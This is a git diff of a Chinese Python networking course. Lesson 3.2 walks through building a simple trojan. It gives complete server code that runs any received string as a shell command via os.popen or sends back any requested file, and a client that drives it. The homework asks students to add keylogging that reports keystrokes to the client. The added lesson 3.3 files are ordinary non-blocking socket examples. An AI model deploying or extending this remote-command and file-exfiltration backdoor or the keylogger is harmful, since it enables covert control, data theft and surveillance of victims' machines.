+在3.1节,我们学习了socket编程的基础,可以实现基本的client和server端的编程。本节在此基础上,实现client和server端的连接和交互,实现一个基本的木马程序。该程序可以实现读取服务端文件内容发送给客户端,或者执行shell命令。 + +### 3.2.1 服务端 + +我们先按照之前的做法,创建server类,在start方法中完成服务器的启动和监听,并保持连接接收客户端发送的数据。代码如下: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import os + + +class server: + def __init__(self, ip, port): + self.port = port + self.ip = ip + self.bufferSize = 10240 + + def start(self): # 启动监听,接收数据 + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.bind((self.ip, self.port)) # 绑定 + s.listen(10) # 监听 + print('等待客户端连接') + while True: # 一直等待新的连接 + try: + conn, addr = s.accept() # 接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + while True: # 保持长连接 + data = conn.recv(self.bufferSize)#接收数据 + if not data:#断开连接时退出当前循环 + break + else: + self.executeCommand(conn,data) + conn.close()#关闭当前连接 + except socket.error as e: + print(e) + conn.close() # 关闭连接 + finally: + s.close() # 关闭服务端 + + def executeCommand(self, tcpCliSock, data): # 解析并执行命令 + try:# + #判断是否是文件 + #获取文件大小 + #发送文件大小 + #发送文件内容 + #如果不是文件则执行shell命令并返回结果 + pass + except: + raise + + + +if __name__ == '__main__': + s = server('', 8800) + s.start() +``` + +在上面的代码中,我们使用了连个while...true循环,第一个用来接收新的连接,第二个是在当前连接中保持连接,一直接收数据。此处我们假定客户端发送的命令数据一定小于10240 byte,所以一次接收完毕,然后调用executeCommand方法。 + +executeCommand方法要完成的第一个任务是判断传来的命令是否是一个文件路径,这里我们可以使用 + +```Python +os.path.isfile(path) +``` +方法来判断。 +接下来是获取文件大小,可以使用 + +```Python +os.path.getsize(path) +``` +方法。 + +接下来是打开文件,然后逐行读取并发送出去,文件操作如果还不熟悉,请回头复习2.1节。 + +下面我们来完善executeCommand方法: + +```Python + try:# + message = data.decode("utf-8") + if os.path.isfile(message):#判断是否是文件 + filesize = str(os.path.getsize(message))#获取文件大小 + print("文件大小为:",filesize) + tcpCliSock.send(filesize.encode())#发送文件大小 + data = tcpCliSock.recv(self.bufferSize) + print("开始发送") + f = open(message, "rb")#打开文件 + for line in f: + tcpCliSock.send(line)#发送文件内容 + except: + raise +``` +上面的代码需要注意的是,我们获取和发送文件大小的原因,如果文件非常大,客户端是无法一次性接收完毕的,需要循环接收数据,直到指定大小为止。在发送大小之后,我们调用了recv方法: + +```Python + +data = tcpCliSock.recv(self.bufferSize) +``` + +这里有个交互,客户端收到大小信息后,会回复一个消息给服务端,服务端在这里等待客户端的消息,这会挂起连接直到客户端消息到达。实际作用是分割了文件大小和文件内容的发送和接收,避免了粘包的情况。 + +接下来打开文件,循环发送。 + +服务端最后一个功能是执行shell命令,这里执行shell命令并且能获取返回值的简单做法为调用 +``` +os.popen(cmd).read() +``` +方法。 + +下面将executeCommand方法补充完整: + +```Python + def executeCommand(self, tcpCliSock, data): # 解析并执行命令 + try:# + message = data.decode("utf-8") + if os.path.isfile(message):#判断是否是文件 + filesize = str(os.path.getsize(message))#获取文件大小 + print("文件大小为:",filesize) + tcpCliSock.send(filesize.encode())#发送文件大小 + data = tcpCliSock.recv(self.bufferSize) + print("开始发送") + f = open(message, "rb")#打开文件 + for line in f: + tcpCliSock.send(line)#发送文件内容 + else: + tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8')) + except: + raise +``` + +补充的逻辑中,注意使用了encode方法对数据进行编码,接收端需要使用同样的编码格式进行解码。同时需要注意,在shell命令执行结果前我们添加了'0001',客户端需要根据此消息头来确定返回的数据是文件还是shell命令执行结果。到此服务端程序基本完成,下面写客户端。 + +### 3.2.2 客户端 + +和上一节类似,我们先完成一个基本客户端程序。 + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import re +import os + +class Client: + def __init__(self,serverIp,serverPort): + self.serverIp=serverIp #待连接的远程主机的域名 + self.serverPort = serverPort + + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + try: + s.connect((self.serverIp,self.serverPort)) + while True: + #接收用户输入内容 + #发送命令到服务端 + #接收数据 + #判断数据类型 + #命令结果 + #文件 + #接收文件并写入磁盘 + except socket.error: + s.close() + raise #退出进程 + + + + + +if __name__ == '__main__': + cl = Client('127.0.0.1',8800) + cl.connet() + sys.exit() #退出进程 + +``` + +在connect方法中,我们使用while...True来保持客户端和服务器的长连接,并且需要实现的功能为接收用户从命令行传入的命令,然后将命令发送到服务端。接收服务端返回的数据,并判断数据是shell命令结果还是文件内容。如果是文件内容则将文件数据循环接收,写入磁盘。下面我们分解一下基本功能点。 + +接收用户输入,我们可以使用‘input’函数。 + +数据接收之后我们需要判断是否是以‘0001’开头,可以使用正则库re来进行正则匹配: + +```Python +re.search("^0001",message) +``` + +接收文件的时候,需要循环接收,直到指定大小。 + +```Python +while received_size < file_total_size: + data = tcpCliSock.recv(bufferSize) + f.write(data)#文件写入 + received_size += len(data)#累积大小 + print("已接收:", received_size) +#接收完毕 +``` + +下面我们来完善connet方法。 + +```Python + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + try: + s.connect((self.serverIp,self.serverPort)) + while True: + message = input('> ')#接收用户输入 + if not message: + break + s.send(bytes(message, 'utf-8'))#发送命令 + data = s.recv(self.bufferSize)#接收数据 + if not data: + break + if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型 + print(data.decode('utf-8')[4:]) + else:#文件内容处理 + s.send("File size received".encode())#通知服务端可以发送文件了 + file_total_size = int(data.decode())#总大小 + received_size = 0 + f = open("new" +os.path.split(message)[-1], "wb")#创建文件 + while received_size < file_total_size: + data = s.recv(self.bufferSize) + f.write(data)#写文件 + received_size += len(data)#累加接收长度 + print("已接收:", received_size) + f.close()#关闭文件 + print("receive done", file_total_size, " ", received_size) + except socket.error: + s.close() + raise #退出进程 + finally: + s.close() +``` + +客户端的方法到此完善完毕。 + +### 3.2.3 测试 + +我们可以启动服务端和客户端进行简单的测试。先启动服务端: + +![](img/1.png) + +再启动客户端,输入ls命令: + +![](img/2.png) + +我们看到ls命令的返回结果,有两个文件,接下来我们要求服务端返回client.py的文件内容。 +客户端输出内容如下图: + +![](img/3.png) + +服务端输出内容如下图: + +![](img/4.png) + +从上面的结果我可以看出,服务端和客户端的整个交互流程。最后客户端成功接收了文件: + +![](img/6.png) + +### 3.2.4 小结 + +本节我们在的socket编程的基础上,完成了一个建议木马程序的客户端和服务端,继续巩固了之前所学的知识。本节的作业如下: + +1. 给木马程序添加键盘监控功能,并发送键盘记录信息给客户端 + +下一节,我们继续学习更加复杂的大型客户端、服务端编程的方法。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + diff --git a/3.2.pdf b/3.2.pdf new file mode 100644 index 0000000..31c97f3 Binary files /dev/null and b/3.2.pdf differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/3.3.pdf" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/3.3.pdf" new file mode 100644 index 0000000..6c84c0e Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/3.3.pdf" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/client.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/client.py" new file mode 100644 index 0000000..e33a386 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/client.py" @@ -0,0 +1,69 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors +import types + +# 测试类 + + +class Client: + def __init__(self, host, port, numConn): + self.host = host # 待连接的远程主机的域名 + self.port = port + self.message = [b'message 1 from client', b'message 2 from client'] + self.numConn = numConn + self.selector = selectors.DefaultSelector() + + def connet(self): # 连接方法 + server_addr = (self.host, self.port) + for i in range(0, self.numConn): + connid = i + 1 + print('开始连接', connid, '到', server_addr) + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setblocking(False) + sock.connect_ex(server_addr)#连接服务端 + events = selectors.EVENT_READ | selectors.EVENT_WRITE + data = types.SimpleNamespace(connid=connid, + msg_total=sum(len(m) for m in self.message), + recv_total=0, + messages=list(self.message), + outb=b'') + self.selector.register(sock, events, data=data) + + try: + while True: + events = self.selector.select(timeout=1) + if events: + for key, mask in events: + self.service_connection(key, mask) + + finally: + self.selector.close() + + def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) + if recv_data: + print("收到", repr(recv_data), "来自连接", data.connid) + data.recv_total += len(recv_data) + if not recv_data or data.recv_total == data.msg_total: + print("关闭连接:", data.connid) + self.selector.unregister(sock) + sock.close() + if mask & selectors.EVENT_WRITE: + if not data.outb and data.messages: + data.outb = data.messages.pop(0) + if data.outb: + print("发送", repr(data.outb), "到连接", data.connid) + sent = sock.send(data.outb) #发送数据 + data.outb = data.outb[sent:]#清空数据 + + + +if __name__ == '__main__': + cl = Client('127.0.0.1', 8800, 5) + cl.connet() diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libclient.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libclient.py" new file mode 100644 index 0000000..240e2c7 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libclient.py" @@ -0,0 +1,208 @@ +import sys +import selectors +import json +import io +import struct + + +class Message: + def __init__(self, selector, sock, addr, request): + self.selector = selector + self.sock = sock + self.addr = addr + self.request = request + self._recv_buffer = b"" + self._send_buffer = b"" + self._request_queued = False + self._jsonheader_len = None + self.jsonheader = None + self.response = None + + def _set_selector_events_mask(self, mode): + """Set selector to listen for events: mode is 'r', 'w', or 'rw'.""" + if mode == "r": + events = selectors.EVENT_READ + elif mode == "w": + events = selectors.EVENT_WRITE + elif mode == "rw": + events = selectors.EVENT_READ | selectors.EVENT_WRITE + else: + raise ValueError(f"Invalid events mask mode {repr(mode)}.") + self.selector.modify(self.sock, events, data=self) + + def _read(self): + try: + # Should be ready to read + data = self.sock.recv(4096) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + if data: + self._recv_buffer += data + else: + raise RuntimeError("Peer closed.") + + def _write(self): + if self._send_buffer: + print("sending", repr(self._send_buffer), "to", self.addr) + try: + # Should be ready to write + sent = self.sock.send(self._send_buffer) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + self._send_buffer = self._send_buffer[sent:] + + def _json_encode(self, obj, encoding): + return json.dumps(obj, ensure_ascii=False).encode(encoding) + + def _json_decode(self, json_bytes, encoding): + tiow = io.TextIOWrapper( + io.BytesIO(json_bytes), encoding=encoding, newline="" + ) + obj = json.load(tiow) + tiow.close() + return obj + + def _create_message( + self, *, content_bytes, content_type, content_encoding + ): + jsonheader = { + "byteorder": sys.byteorder, + "content-type": content_type, + "content-encoding": content_encoding, + "content-length": len(content_bytes), + } + jsonheader_bytes = self._json_encode(jsonheader, "utf-8") + message_hdr = struct.pack(">H", len(jsonheader_bytes)) + message = message_hdr + jsonheader_bytes + content_bytes + return message + + def _process_response_json_content(self): + content = self.response + result = content.get("result") + print(f"got result: {result}") + + def _process_response_binary_content(self): + content = self.response + print(f"got response: {repr(content)}") + + def process_events(self, mask): + if mask & selectors.EVENT_READ: + self.read() + if mask & selectors.EVENT_WRITE: + self.write() + + def read(self): + self._read() + + if self._jsonheader_len is None: + self.process_protoheader() + + if self._jsonheader_len is not None: + if self.jsonheader is None: + self.process_jsonheader() + + if self.jsonheader: + if self.response is None: + self.process_response() + + def write(self): + if not self._request_queued: + self.queue_request() + + self._write() + + if self._request_queued: + if not self._send_buffer: + # Set selector to listen for read events, we're done writing. + self._set_selector_events_mask("r") + + def close(self): + print("closing connection to", self.addr) + try: + self.selector.unregister(self.sock) + except Exception as e: + print( + f"error: selector.unregister() exception for", + f"{self.addr}: {repr(e)}", + ) + + try: + self.sock.close() + except OSError as e: + print( + f"error: socket.close() exception for", + f"{self.addr}: {repr(e)}", + ) + finally: + # Delete reference to socket object for garbage collection + self.sock = None + + def queue_request(self): + content = self.request["content"] + content_type = self.request["type"] + content_encoding = self.request["encoding"] + if content_type == "text/json": + req = { + "content_bytes": self._json_encode(content, content_encoding), + "content_type": content_type, + "content_encoding": content_encoding, + } + else: + req = { + "content_bytes": content, + "content_type": content_type, + "content_encoding": content_encoding, + } + message = self._create_message(**req) + self._send_buffer += message + self._request_queued = True + + def process_protoheader(self): + hdrlen = 2 + if len(self._recv_buffer) >= hdrlen: + self._jsonheader_len = struct.unpack( + ">H", self._recv_buffer[:hdrlen] + )[0] + self._recv_buffer = self._recv_buffer[hdrlen:] + + def process_jsonheader(self): + hdrlen = self._jsonheader_len + if len(self._recv_buffer) >= hdrlen: + self.jsonheader = self._json_decode( + self._recv_buffer[:hdrlen], "utf-8" + ) + self._recv_buffer = self._recv_buffer[hdrlen:] + for reqhdr in ( + "byteorder", + "content-length", + "content-type", + "content-encoding", + ): + if reqhdr not in self.jsonheader: + raise ValueError(f'Missing required header "{reqhdr}".') + + def process_response(self): + content_len = self.jsonheader["content-length"] + if not len(self._recv_buffer) >= content_len: + return + data = self._recv_buffer[:content_len] + self._recv_buffer = self._recv_buffer[content_len:] + if self.jsonheader["content-type"] == "text/json": + encoding = self.jsonheader["content-encoding"] + self.response = self._json_decode(data, encoding) + print("received response", repr(self.response), "from", self.addr) + self._process_response_json_content() + else: + # Binary or unknown content-type + self.response = data + print( + f'received {self.jsonheader["content-type"]} response from', + self.addr, + ) + self._process_response_binary_content() + # Close when response has been processed + self.close() diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libserver.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libserver.py" new file mode 100644 index 0000000..7b6fb38 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libserver.py" @@ -0,0 +1,216 @@ +import sys +import selectors +import json +import io +import struct + +request_search = { + "morpheus": "Follow the white rabbit. \U0001f430", + "ring": "In the caves beneath the Misty Mountains. \U0001f48d", + "\U0001f436": "\U0001f43e Playing ball! \U0001f3d0", +} + + +class Message: + def __init__(self, selector, sock, addr): + self.selector = selector + self.sock = sock + self.addr = addr + self._recv_buffer = b"" + self._send_buffer = b"" + self._jsonheader_len = None + self.jsonheader = None + self.request = None + self.response_created = False + + def _set_selector_events_mask(self, mode): + """Set selector to listen for events: mode is 'r', 'w', or 'rw'.""" + if mode == "r": + events = selectors.EVENT_READ + elif mode == "w": + events = selectors.EVENT_WRITE + elif mode == "rw": + events = selectors.EVENT_READ | selectors.EVENT_WRITE + else: + raise ValueError(f"Invalid events mask mode {repr(mode)}.") + self.selector.modify(self.sock, events, data=self) + + def _read(self): + try: + # Should be ready to read + data = self.sock.recv(4096) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + if data: + self._recv_buffer += data + else: + raise RuntimeError("Peer closed.") + + def _write(self): + if self._send_buffer: + print("sending", repr(self._send_buffer), "to", self.addr) + try: + # Should be ready to write + sent = self.sock.send(self._send_buffer) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + self._send_buffer = self._send_buffer[sent:] + # Close when the buffer is drained. The response has been sent. + if sent and not self._send_buffer: + self.close() + + def _json_encode(self, obj, encoding): + return json.dumps(obj, ensure_ascii=False).encode(encoding) + + def _json_decode(self, json_bytes, encoding): + tiow = io.TextIOWrapper( + io.BytesIO(json_bytes), encoding=encoding, newline="" + ) + obj = json.load(tiow) + tiow.close() + return obj + + def _create_message( + self, *, content_bytes, content_type, content_encoding + ): + jsonheader = { + "byteorder": sys.byteorder, + "content-type": content_type, + "content-encoding": content_encoding, + "content-length": len(content_bytes), + } + jsonheader_bytes = self._json_encode(jsonheader, "utf-8") + message_hdr = struct.pack(">H", len(jsonheader_bytes)) + message = message_hdr + jsonheader_bytes + content_bytes + return message + + def _create_response_json_content(self): + action = self.request.get("action") + if action == "search": + query = self.request.get("value") + answer = request_search.get(query) or f'No match for "{query}".' + content = {"result": answer} + else: + content = {"result": f'Error: invalid action "{action}".'} + content_encoding = "utf-8" + response = { + "content_bytes": self._json_encode(content, content_encoding), + "content_type": "text/json", + "content_encoding": content_encoding, + } + return response + + def _create_response_binary_content(self): + response = { + "content_bytes": b"First 10 bytes of request: " + + self.request[:10], + "content_type": "binary/custom-server-binary-type", + "content_encoding": "binary", + } + return response + + def process_events(self, mask): + if mask & selectors.EVENT_READ: + self.read() + if mask & selectors.EVENT_WRITE: + self.write() + + def read(self): + self._read() + + if self._jsonheader_len is None: + self.process_protoheader() + + if self._jsonheader_len is not None: + if self.jsonheader is None: + self.process_jsonheader() + + if self.jsonheader: + if self.request is None: + self.process_request() + + def write(self): + if self.request: + if not self.response_created: + self.create_response() + + self._write() + + def close(self): + print("closing connection to", self.addr) + try: + self.selector.unregister(self.sock) + except Exception as e: + print( + f"error: selector.unregister() exception for", + f"{self.addr}: {repr(e)}", + ) + + try: + self.sock.close() + except OSError as e: + print( + f"error: socket.close() exception for", + f"{self.addr}: {repr(e)}", + ) + finally: + # Delete reference to socket object for garbage collection + self.sock = None + + def process_protoheader(self): + hdrlen = 2 + if len(self._recv_buffer) >= hdrlen: + self._jsonheader_len = struct.unpack( + ">H", self._recv_buffer[:hdrlen] + )[0] + self._recv_buffer = self._recv_buffer[hdrlen:] + + def process_jsonheader(self): + hdrlen = self._jsonheader_len + if len(self._recv_buffer) >= hdrlen: + self.jsonheader = self._json_decode( + self._recv_buffer[:hdrlen], "utf-8" + ) + self._recv_buffer = self._recv_buffer[hdrlen:] + for reqhdr in ( + "byteorder", + "content-length", + "content-type", + "content-encoding", + ): + if reqhdr not in self.jsonheader: + raise ValueError(f'Missing required header "{reqhdr}".') + + def process_request(self): + content_len = self.jsonheader["content-length"] + if not len(self._recv_buffer) >= content_len: + return + data = self._recv_buffer[:content_len] + self._recv_buffer = self._recv_buffer[content_len:] + if self.jsonheader["content-type"] == "text/json": + encoding = self.jsonheader["content-encoding"] + self.request = self._json_decode(data, encoding) + print("received request", repr(self.request), "from", self.addr) + else: + # Binary or unknown content-type + self.request = data + print( + f'received {self.jsonheader["content-type"]} request from', + self.addr, + ) + # Set selector to listen for write events, we're done reading. + self._set_selector_events_mask("w") + + def create_response(self): + if self.jsonheader["content-type"] == "text/json": + response = self._create_response_json_content() + else: + # Binary or unknown content-type + response = self._create_response_binary_content() + message = self._create_message(**response) + self.response_created = True + self._send_buffer += message diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/server.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/server.py" new file mode 100644 index 0000000..f888125 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/server.py" @@ -0,0 +1,65 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors +import types + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + self.selector = selectors.DefaultSelector()#初始化selector + + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port)) + s.listen() + print('等待连接:',(self.ip,self.port)) + s.setblocking(False) # 非阻塞 + self.selector.register(s,selectors.EVENT_READ,None)#注册I/O对象 + while True: + events = self.selector.select(timeout=None)#阻塞调用,等待新的读/写事件 + for key, mask in events: + if key.data is None:#新的连接请求 + self.accept_wrapper(key.fileobj) + else:#收到客户端连接发送的数据 + self.service_connection(key, mask) + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + def accept_wrapper(self,sock): + conn, addr = sock.accept() # Should be ready to read + print('接收客户端连接', addr) + conn.setblocking(False) #非阻塞 + data = types.SimpleNamespace(addr=addr, inb=b'', outb=b'')#socket数据 + events = selectors.EVENT_READ | selectors.EVENT_WRITE #监听读写 + self.selector.register(conn, events, data=data)#注册客户端socket + + def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) # 接收数据 + if recv_data: + data.outb += recv_data + else:#客户端断开连接 + print('关闭连接', data.addr) + self.selector.unregister(sock)#取消注册,防止出错 + sock.close() + if mask & selectors.EVENT_WRITE: + if data.outb: + print('发送', repr(data.outb), '到', data.addr) + sent = sock.send(data.outb) + data.outb = data.outb[sent:] + + +if __name__ == '__main__': + s = server('',8800) + s.start() + + diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/0.jpg" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/00.jpeg" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/1.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/1.png" new file mode 100644 index 0000000..b784699 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/1.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/2.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/2.png" new file mode 100644 index 0000000..bfa1240 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/2.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/3.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/3.png" new file mode 100644 index 0000000..3cd5226 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/3.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/4.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/4.png" new file mode 100644 index 0000000..d8e1431 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/4.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/5.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/5.png" new file mode 100644 index 0000000..5f86c7f Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/5.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/6.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/6.png" new file mode 100644 index 0000000..f1d4827 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/6.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213.md" "b/3.3 